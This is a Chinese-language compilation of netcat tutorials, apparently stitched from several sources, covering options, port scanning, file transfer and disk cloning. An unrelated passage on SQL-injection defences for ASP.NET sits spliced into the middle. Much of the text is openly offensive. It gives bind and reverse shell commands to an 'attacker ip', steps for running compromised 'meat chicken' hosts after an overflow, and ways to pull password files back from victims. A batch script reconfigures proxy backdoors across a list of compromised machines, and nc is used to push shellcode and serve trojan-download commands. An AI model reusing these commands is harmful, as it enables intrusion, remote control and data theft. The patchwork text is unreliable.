NC 全名 Netcat (網(wǎng)絡(luò)刀),作者是 Hobbit && ChrisWysopal。因其功能十分強(qiáng)大,體積小巧而出名,又被大家稱為“瑞士軍刀”。nc - TCP/IP swiss army knife
nc 常用于溢出、反向鏈接、上傳文本等。其實(shí)是一個非標(biāo)準(zhǔn)的 telnet 客戶端程序。也是一個 putty.exe 客戶端程序。
socat 是一個 nc 的替代品,可以稱為 nc++。是netcat的N倍加強(qiáng)版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等
功能說明:功能強(qiáng)大的網(wǎng)絡(luò)工具
語 法:nc [-hlnruz][-g<網(wǎng)關(guān)...>][-G<指向器數(shù)目>][-i<延遲秒數(shù)>][-o<輸出文件>][-p<通信端口>]
[-s<來源位址>][-v...][-w<超時秒數(shù)>][主機(jī)名稱][通信端口...]
參 數(shù):
-g<網(wǎng)關(guān)> 設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個。
-G<指向器數(shù)目> 設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)。
-h 在線幫助。
-i<延遲秒數(shù)> 設(shè)置時間間隔,以便傳送信息及掃描通信端口。
-l 監(jiān)聽模式,用于入站連接 (監(jiān)聽本地端口)。
-n 直接使用IP地址,而不通過域名服務(wù)器。
-o<輸出文件> 指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p<通信端口> 設(shè)置本地主機(jī)使用的通信端口。
-r 隨機(jī)指定本地與遠(yuǎn)端主機(jī)的通信端口。
-s<來源位址> 設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址。
-u 使用UDP傳輸協(xié)議。
-v 顯示指令執(zhí)行過程。
-w<超時秒數(shù)> 設(shè)置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通信端口時使用。
[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22
1)端口掃描
nc -v -z host.example.com 70-80 #掃描端口(70到80),可指定范圍。-v輸出詳細(xì)信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24 # 也可以不帶-z參數(shù)試下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
root@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000
# 監(jiān)聽本地端口
root@10.1.1.43:~# nc -l -p 1234
root@10.1.1.43:~# netstat -tunlp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 15543/nc
# 測試UDP端口
root@172.16.211.34:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1111/sshd
udp 0 0 0.0.0.0:68 0.0.0.0:* 887/dhclient
root@172.16.211.35:~# nc -vuz 172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!
nc -p 1234 -w 5 host.example.com 80
建立從本地1234端口到host.example.com的80端口連接,5秒超時
nc -u host.example.com 53
u為UDP連接
2) 遠(yuǎn)程拷貝文件
從server1拷貝文件到server2上。
先在server2上,用nc激活監(jiān)聽,server2上運(yùn)行:
[root@hatest2 tmp]# nc -lp 1234 > install.log
server1上運(yùn)行:
[root@hatest1 ~]# ll install.log
-rw-r--r-- 1 root root 39693 12月 20 2007 install.log
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
目的主機(jī)監(jiān)聽
nc -l 監(jiān)聽端口 > 要接收的文件名
nc -l 4444 > cache.tar.gz
源主機(jī)發(fā)起請求
nc 目的主機(jī)ip 目的端口
nc 192.168.0.85 4444
netstat 如下
[root@localhost jiangbao]# netstat -tpln
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 18166/nc
目錄傳輸
從server1拷貝nginx-0.6.34目錄內(nèi)容到server2上。
先在server2上,用nc激活監(jiān)聽,server2上運(yùn)行:
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上運(yùn)行:
[
root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
從192.168.2.33拷貝文件到192.168.2.34
在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt
克隆硬盤或分區(qū)
操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區(qū)的數(shù)據(jù),然后傳輸即可。
克隆硬盤或分區(qū)的操作,不應(yīng)在已經(jīng)mount的的系統(tǒng)上進(jìn)行。
所以,需要使用安裝光盤引導(dǎo)后,進(jìn)入拯救模式(或使用Knoppix工具光盤)啟動系統(tǒng)后,在server2上進(jìn)行類似的監(jiān)聽動作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執(zhí)行傳輸,即可完成從server1克隆sda硬盤到server2的任務(wù):
# dd if=/dev/sda | nc 192.168.228.222 1234
3) 簡單聊天工具
在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。
nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接,互相發(fā)送輸入
4) 保存Web頁面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
5) 模擬HTTP Headers
[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]
在nc命令后,輸入紅色部分的內(nèi)容,然后按兩次回車,即可從對方獲得HTTP Headers內(nèi)容。
echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
連接到主機(jī)并執(zhí)行
6) 用nc命令操作memcached
1)存儲數(shù)據(jù):printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)獲取數(shù)據(jù):printf “get keyrn” |nc 192.168.2.34 11211
3)刪除數(shù)據(jù):printf “delete keyrn” |nc 192.168.2.34 11211
4)查看狀態(tài):printf “statsrn” |nc 192.168.2.34 11211
5)模擬top命令查看狀態(tài):watch “echo stats” |nc 192.168.2.34 11211
6)清空緩存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)
補(bǔ)充教程 2
nc的使用方法
netcat被譽(yù)為網(wǎng)絡(luò)安全界的‘瑞士軍刀',相信沒有什么人不認(rèn)識它吧......
一個簡單而有用的工具,透過使用TCP或UDP協(xié)議的網(wǎng)絡(luò)連接去讀寫數(shù)據(jù)。它被設(shè)計(jì)成一個穩(wěn)定的后門工具,能夠直接由其它程序和腳本輕松驅(qū)動。同時,它也是一個功能強(qiáng)大的網(wǎng)絡(luò)調(diào)試和探測工具,能夠建立你需要的幾乎所有類型的網(wǎng)絡(luò)連接,還有幾個很有意思的內(nèi)置功能(詳情請看下面的使用方法)。 在中國它的WINDOWS版有兩個版本,一個是原創(chuàng)者Chris Wysopal寫的原版本,另一個是由‘紅與黑'編譯后的新‘濃縮'版?!疂饪s'版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。
軟件介紹:
工具名:Netcat
作者:Hobbit && Chris Wysopal
網(wǎng)址:http://www.atstake.com/research/tools/network_utilities/
類別:開放源碼
平臺:Linux/BSD/Unix/Windows
WINDOWS下版本號:[v1.10 NT]
參數(shù)介紹:
nc.exe -h 即可看到各參數(shù)的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后臺模式
-e 程序重定向,一旦連接,就執(zhí)行 [危險!!]
-g gateway source-routing hop point[s], up to 8 設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個。
-G num source-routing pointer: 4, 8, 12, ... 設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)。
-h 幫助信息
-i secs 延時的間隔
-l 監(jiān)聽模式,用于入站連接 (監(jiān)聽本地端口)
-L 連接關(guān)閉后,仍然繼續(xù)監(jiān)聽
-n 指定數(shù)字的IP地址,不能用hostname。即直接使用IP地址,而不通過域名服務(wù)器。
-o file 指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p port 本地端口號 (指定本地端口 )
-r 隨機(jī)本地及遠(yuǎn)程端口
-s addr 本地源地址
-t 使用TELNET交互方式(用telnet來回應(yīng) )
-u UDP模式
-v 詳細(xì)輸出--用兩個-v( -vv)可得到更詳細(xì)的內(nèi)容. 獲得端口信息
-w secs timeout的時間
-z 將輸入輸出關(guān)掉--只用于掃描. 端口的表示方法可寫為M-N的范圍格式。
基本用法:
大概有以下幾種用法:
1) 連接到 remote 主機(jī),例子:
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
2) 監(jiān)聽 local 主機(jī),例子:
格式:nc -l -p 80
講解:監(jiān)聽本機(jī)的TCP80端口
3) 掃描遠(yuǎn)程主機(jī),例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4) remote 主機(jī)綁定 shell,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
講解:綁定REMOTE主機(jī)的CMDSHELL在REMOTE主機(jī)的TCP5354端口
5) REMOTE主機(jī)綁定SHELL并反向連接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機(jī)的CMDSHELL并反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實(shí)NC的用法還有很多,當(dāng)配合管道命令“|”與重定向命令“<”、“>”等等命令功能更強(qiáng)大......)。
高級用法:
6) 作攻擊程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
講解:連接到192.168.x.x的80端口,并在其管道中發(fā)送c:exploit.txt的內(nèi)容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
附:c:exploit.txt為shellcode等
7) 作蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用-L(注意L是大寫)可以不停地監(jiān)聽某一個端口,直到ctrl+c為止.
8) 作蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
講解:使用-L可以不停地監(jiān)聽某一個端口,直到ctrl+c為止,同時把結(jié)果輸出到c:log.txt中,如果把‘>'改為‘>>'即可以追加日志。
附:c:log.txt為日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
講解:使用-L可以不停地監(jiān)聽某一個端口,直到ctrl+c為止,并把c:honeypot.txt的內(nèi)容‘送'入其管道中。
如果攻擊者知道應(yīng)用會將表單中輸入的內(nèi)容直接用于驗(yàn)證身份的查詢,他就會嘗試輸入某些特殊的SQL字符串篡改查詢改變其原來的功能,
欺騙系統(tǒng)授予訪問權(quán)限。系統(tǒng)環(huán)境不同,攻擊者可能造成的損害也不同,這主要由應(yīng)用訪問數(shù)據(jù)庫的安全權(quán)限決定。
如果用戶的帳戶具有管理員或其他比較高級的權(quán)限,攻擊者就可能對數(shù)據(jù)庫的表執(zhí)行各種他想要做的操作,
包括添加、刪除或更新數(shù)據(jù),甚至可能直接刪除表。
二、如何防范?
好在要防止ASP.NET應(yīng)用被SQL注入式攻擊闖入并不是一件特別困難的事情,只要在利用表單輸入的內(nèi)容構(gòu)造SQL命令之前,把所有輸入內(nèi)容過濾一番就可以了。過濾輸入內(nèi)容可以按多種方式進(jìn)行。
⑴ 對于動態(tài)構(gòu)造SQL查詢的場合,可以使用下面的技術(shù):
第一:替換單引號,即把所有單獨(dú)出現(xiàn)的單引號改成兩個單引號,防止攻擊者修改SQL命令的含義。再來看前面的例子,“Select * from Users Where login = or 1=1 AND password = or 1=1”顯然會得到與“Select * from Users Where login = or 1=1 AND password = or 1=1”不同的結(jié)果。
第二:刪除用戶輸入內(nèi)容中的所有連字符,防止攻擊者構(gòu)造出類如“Select * from Users Where login = mas -- AND password =”之類的查詢,因?yàn)檫@類查詢的后半部分已經(jīng)被注釋掉,不再有效,攻擊者只要知道一個合法的用戶登錄名稱,根本不需要知道用戶的密碼就可以順利獲得訪問權(quán)限。
第三:對于用來執(zhí)行查詢的數(shù)據(jù)庫帳戶,限制其權(quán)限。用不同的用戶帳戶執(zhí)行查詢、插入、更新、刪除操作。由于隔離了不同帳戶可執(zhí)行的操作,因而也就防止了原本用于執(zhí)行Select命令的地方卻被用于執(zhí)行Insert、Update或Delete命令。
⑵ 用存儲過程來執(zhí)行所有的查詢。SQL參數(shù)的傳遞方式將防止攻擊者利用單引號和連字符實(shí)施攻擊。此外,它還使得數(shù)據(jù)庫權(quán)限可以限制到只允許特定的存儲過程執(zhí)行,所有的用戶輸入必須遵從被調(diào)用的存儲過程的安全上下文,這樣就很難再發(fā)生注入式攻擊了。
⑶ 限制表單或查詢字符串輸入的長度。如果用戶的登錄名字最多只有10個字符,那么不要認(rèn)可表單中輸入的10個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
⑷ 檢查用戶輸入的合法性,確信輸入的內(nèi)容只包含合法的數(shù)據(jù)。數(shù)據(jù)檢查應(yīng)當(dāng)在客戶端和服務(wù)器端都執(zhí)行——之所以要執(zhí)行服務(wù)器端驗(yàn)證,是為了彌補(bǔ)客戶端驗(yàn)證機(jī)制脆弱的安全性。
在客戶端,攻擊者完全有可能獲得網(wǎng)頁的源代碼,修改驗(yàn)證合法性的腳本(或者直接刪除腳本),然后將非法內(nèi)容通過修改后的表單提交給服務(wù)器。因此,要保證驗(yàn)證操作確實(shí)已經(jīng)執(zhí)行,唯一的辦法就是在服務(wù)器端也執(zhí)行驗(yàn)證。你可以使用許多內(nèi)建的驗(yàn)證對象,例如RegularExpressionValidator,它們能夠自動生成驗(yàn)證用的客戶端腳本,當(dāng)然你也可以插入服務(wù)器端的方法調(diào)用。如果找不到現(xiàn)成的驗(yàn)證對象,你可以通過CustomValidator自己創(chuàng)建一個。
⑸ 將用戶登錄名稱、密碼等數(shù)據(jù)加密保存。加密用戶輸入的數(shù)據(jù),然后再將它與數(shù)據(jù)庫中保存的數(shù)據(jù)比較,這相當(dāng)于對用戶輸入的數(shù)據(jù)進(jìn)行了“消毒”處理,用戶輸入的數(shù)據(jù)不再對數(shù)據(jù)庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。System.Web.Security.formsAuthentication類有一個HashPasswordForStoringInConfigFile,非常適合于對輸入數(shù)據(jù)進(jìn)行消毒處理。
⑹ 檢查提取數(shù)據(jù)的查詢所返回的記錄數(shù)量。如果程序只要求返回一個記錄,但實(shí)際返回的記錄卻超過一行,那就當(dāng)作出錯處理。
打開本地的7626端口進(jìn)行監(jiān)聽,并反饋連接信息。
如果有掃描冰河木馬的人會認(rèn)為你中了木馬開放了7626,和“小豬快跑”的功能有點(diǎn)象。再加個批處理文件一起用的話就是一個“小豬快跑”了。
如果要監(jiān)視是否有入侵本地80端口的行為,并記下來用這個命令。這樣,凡是有針對本機(jī)80端口的攻擊都會被記錄下來的
nc -l -p 123 -e cmd.exe 或者是: nc -l -p 123 -t
如果你通過溢出進(jìn)入了別人的機(jī)器,就可以運(yùn)行上面命令。作用都是以cmd.exe來響應(yīng)到機(jī)器上123端口的連接。
這樣就把溢出的主機(jī)變成了一臺telnet肉雞了。也可以用命令讓肉雞主動連接你的主機(jī),假設(shè)我的IP是192.168.0.1
在肉雞上運(yùn)行: nc -e cmd.exe 192.168.0.1 777 。再在本地機(jī)器上運(yùn)行: nc -l -p 777
意思是讓肉雞將cmd.exe(就是個shell)主動響應(yīng)到你電腦的777端口。你再在本地機(jī)上監(jiān)聽777端口,這樣就進(jìn)入了對方的cmd了
這也微十時毫 反彈端口式木馬的原理了。
獲取192.168.0.25的80端口的信息??梢垣@得IIS版本等很多重要信息 的
nc -v -z 192.168.0.25 1-100
掃描192.168.0.25的1到100間的TCP端口
nc -v -z -u 192.168.0.25 1-100
這是掃描1到00間的UDP端口
nc -vv ip port //端口的刺探:
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統(tǒng)管理員會額外小心。
后門
victim machine: // 受害者的機(jī)器
nc -l -p port -e cmd.exe // win2000
nc -l -p port -e /bin/sh // unix,linux
attacker machine: // 攻擊者的機(jī)器.
nc ip -p port // 連接victim_IP,然后得到一個shell。
反向連接
attacker machine: //一般是sql2.exe,遠(yuǎn)程溢出,webdavx3.exe攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1
nc -vv -l -p prot2
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數(shù)-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機(jī)器IP),這樣就可以保證nc.exe優(yōu)先于NETBIOS。
傳送文件:
attacker machine <-- victim machine //從肉雞拖密碼文件回來.
nc -d -l -p port < path\filedest 可以shell執(zhí)行
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe里面執(zhí)行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
attacker machine --> victim machine //上傳命令文件到肉雞
nc -vv -l -p port > path\file.txt 需要Ctrl+C退出
nc -d victim_ip port < path\filedest 可以shell執(zhí)行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.
端口數(shù)據(jù)抓包.
nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
telnet,自動批處理。
nc victim_ip port < path\file.cmd 顯示執(zhí)行過程.
nc -vv victim_ip port < path\file.cmd 顯示執(zhí)行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
########################################
管理肉雞,更改肉雞設(shè)置
########################################
1) 比如要統(tǒng)一更改肉雞上面的代理端口.snake.exe 修改為11111 服務(wù)名稱"sksockserver",使用winshell后門. 端口1234 密碼password
命令格式就是:
modi.bat youip.txt
___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END
:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END
___________modi.bat__END_______________________
2)
@echo off
color f0
:start
cls
C:\nc -vv -w 3 -l -p 80>>80.txt
goto start
把防火墻關(guān)掉以后運(yùn)行這個批處理,會監(jiān)聽到許多探測U漏洞的信息,大多是三條一組--妮姆達(dá)病毒掃描你的。
這樣就會得到肉雞的.雖然質(zhì)量不高.但是也是一種便宜的辦法.
肉雞特征:
1。unicode漏洞
2。guest密碼為空,administrators組用戶
3。其他漏洞
用于傳輸文件 — ncp
#! /bin/sh
## 類似于rcp,但是是用netcat在高端口做的
## 在接收文件的機(jī)器上做"ncp targetfile"
## 在發(fā)送文件的機(jī)器上做"ncp sourcefile receivinghost"
## 如果調(diào)用了 "nzp" ,會將傳輸文件壓縮
## 這里定義你想使用的端口,可以自由選擇
MYPORT=23456
## 如果nc沒有在系統(tǒng)路徑中的話,要把下面一行注釋去掉,加以修改
# PATH=$:$ ; export PATH
## 下面這幾行檢查參數(shù)輸入情況:
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo $0 | sed s+.*/++`
test "$me" = "nzp" && echo [compressed mode]
# if second arg, its a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "cant find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi
# 是否在接收文件機(jī)器當(dāng)前目錄有同名文件
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意這里nc的用法,結(jié)合了重定向符號和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, $1 is already trashed
rm -f "$1"
exit 1
這樣的話,我只要在A機(jī)器上先 QuackA# ncp ../abcd
listening on 然后在另一臺機(jī)器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A機(jī)上出現(xiàn)
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
# 查看一下,文件傳輸完畢。
===========================================================================
【本地運(yùn)行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細(xì)輸出。
===========================================================================
【本地運(yùn)行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口,返回信息詳細(xì)輸出,但掃描速度較慢。
===========================================================================
【本地運(yùn)行】nc -v -z -u ip port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細(xì)輸出,但掃描速度較慢。
===========================================================================
【本地運(yùn)行】nc -l -p 80
【命令解釋】開啟本機(jī)的 TCP 80 端口并監(jiān)聽。
===========================================================================
【本地運(yùn)行】nc -l -v -p 80
【命令解釋】開啟本機(jī)的 TCP 80 端口并將監(jiān)聽到的信息輸出到當(dāng)前 CMD 窗口。
===========================================================================
【本地運(yùn)行】nc -l -p 80 > E:/log.dat
【命令解釋】開啟本機(jī)的 TCP 80 端口并將監(jiān)聽到的信息輸出到 E:/log.dat 下的日志文件里。
===========================================================================
【本地運(yùn)行】nc -nvv 192.168.1.101 80
【命令解釋】連接到192.168.1.101主機(jī)的 80 端口。
===========================================================================
【本地運(yùn)行】nc -nvv -w2 -z 192.168.1.101 80-1024
【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間為2秒。
===========================================================================
【遠(yuǎn)程運(yùn)行】nc -l -p 2012 -t -e cmd.exe
【本地運(yùn)行】nc -nvv 192.168.1.101 2012
【命令解釋】采用正向連接方式,遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)上運(yùn)行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠(yuǎn)程主機(jī)的 CMD 到
【命令解釋】2012 端口,當(dāng)本地主機(jī)連接遠(yuǎn)程主機(jī)成功時就會返回給本地主機(jī)一個CMD Shell ;在本地主機(jī)上運(yùn)行 nc -nvv 192.168.1.101 2012 用于
【命令解釋】連接已經(jīng)將 CMD 重定向到 2012 端口的遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)。
===========================================================================
【本地運(yùn)行】nc -l -p 2012
【遠(yuǎn)程運(yùn)行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】采用反向連接方式,先在本地主機(jī)運(yùn)行 nc -l -p 2012 開啟本地主機(jī)的(注:假設(shè)IP地址為 192.168.1.102)2012 端口并監(jiān)聽等待遠(yuǎn)程主
【命令解釋】機(jī)連接;在遠(yuǎn)程主機(jī)上運(yùn)行 nc -t -e cmd.exe 192.168.1.102 2012 將遠(yuǎn)程主機(jī)的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為
【命令解釋】2012 的主機(jī)上,連接成功后 IP 地址為 192.168.1.102 的主機(jī)會得到一個CMD Shell。
===========================================================================
【本地運(yùn)行】nc -v -n ip port < C:/sunzn.exe
【遠(yuǎn)程運(yùn)行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運(yùn)行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內(nèi)容,并把這些數(shù)據(jù)發(fā)送到遠(yuǎn)程主機(jī)的
【命令解釋】對應(yīng)端口上(注:命令行中的 IP 為接收文件的遠(yuǎn)程主機(jī) IP ),在遠(yuǎn)程主機(jī)運(yùn)行 nc -v -l -p port > D:/sunzn.exe 意為監(jiān)聽對應(yīng)端口并
【命令解釋】把接收到的信息數(shù)據(jù)寫到 D:/sunzn.exe 中,兩行命令實(shí)現(xiàn)了文件在本地主機(jī)和遠(yuǎn)程主機(jī)間的傳輸。
===========================================================================
【本地運(yùn)行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中為FTP自動下載命令)
【命令解釋】不停地監(jiān)聽 8989 端口,并把 C:\ftp.txt 中的內(nèi)容發(fā)給任何一臺連接本機(jī) 8989 端口的主機(jī),可起到傳送文件作用(此用法經(jīng)常用于反向
【命令解釋】溢出)。溢出遠(yuǎn)程主機(jī)時,一旦溢出的遠(yuǎn)程主機(jī)連接本地主機(jī) 8989 端口,遠(yuǎn)程主機(jī)就會自動用 FTP 下載指定的文件,如木馬。
===========================================================================
簡單使用教程:
命令1:監(jiān)聽命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
參數(shù)解釋:
-l:監(jiān)聽端口,監(jiān)聽入站信息
-p:后跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細(xì)的信息
提示:一般大家都愛用-vv
nc -l -p 80 //這個很簡單,監(jiān)聽80端口。如果機(jī)器上運(yùn)行這個命令,端口80被認(rèn)為是開放的,可以欺騙掃描器
nc -l -p 80 > e:\log.dat //將詳細(xì)信息寫入E盤log.dat的日志文件
nc -l -v -p 80 //和上邊命令相似,會直接顯示信息在運(yùn)行著NC的屏幕上。
實(shí)踐:
例如:nc -l -v -p 80
然后在瀏覽器中輸入本機(jī)IP:127.0.0.1
命令2:程序定向(反彈shell的方法)
nc -l -p port -t -e cmd.exe
本地機(jī): nc -l -p port 或 nc -l -v -p port
目標(biāo)機(jī):nc -e cmd.exe ip port
參數(shù)解釋:
-l、-p兩個參數(shù)已經(jīng)解釋過了
-e;作用就是程序定向
-t:以telnet的形式來應(yīng)答
例子
nc -l -p 5277 -t -e cmd.exe
//千萬不要運(yùn)行在自己的機(jī)器上,如果運(yùn)行了,你機(jī)器就會變成一臺TELNET的服務(wù)器了。
命令解釋:
監(jiān)聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當(dāng)有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應(yīng)連接要求。說白了,其實(shí)就是讓他成為一臺TELNET的肉雞,所以這個命令要運(yùn)行在你的肉雞上。
例如用法:
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什么叫反彈端口?
就是說,當(dāng)對方中馬后,不用你主動和對方連接,也就是說不用從你的client端向?qū)Ψ街鳈C(jī)上運(yùn)行的server端發(fā)送請求連接,而是對方主動來連接你這樣就可以使很多防火墻失效,因?yàn)楹芏喾阑饓Χ疾粰z查出站請求的。
這里這兩個命令結(jié)合在一起后,于那兩款木馬可以說有異曲同工之效。
本地運(yùn)行:nc -l -p 5277 (監(jiān)聽本地5277端口)或者 nc -l -v -p 5277
然后在遠(yuǎn)程機(jī)器上,想辦法運(yùn)行 nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉雞上?。┮?,xxx.xxx.xxx.xxx這樣??!
這樣就是反彈~~在本地機(jī)器上得到了一個SHELL
命令3:掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數(shù)解釋:
-z:將輸入輸出關(guān)掉,在掃描時使用
nc -v ip port
//這個命令是針對某一個端口進(jìn)行掃描
例如:
nc -v ip 135
//掃描遠(yuǎn)程主機(jī)的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
例如:80端口
nc -v ip 80 然后使用get方法來獲得對方的WEB服務(wù)器的信息
nc -v -z ip port-port
//這個命令是用來掃描的一個命令,這個命令用于快速掃描TCP端口,而port-port則是指定了掃描的端口范圍
例如:
nc -v -z ip 1-200
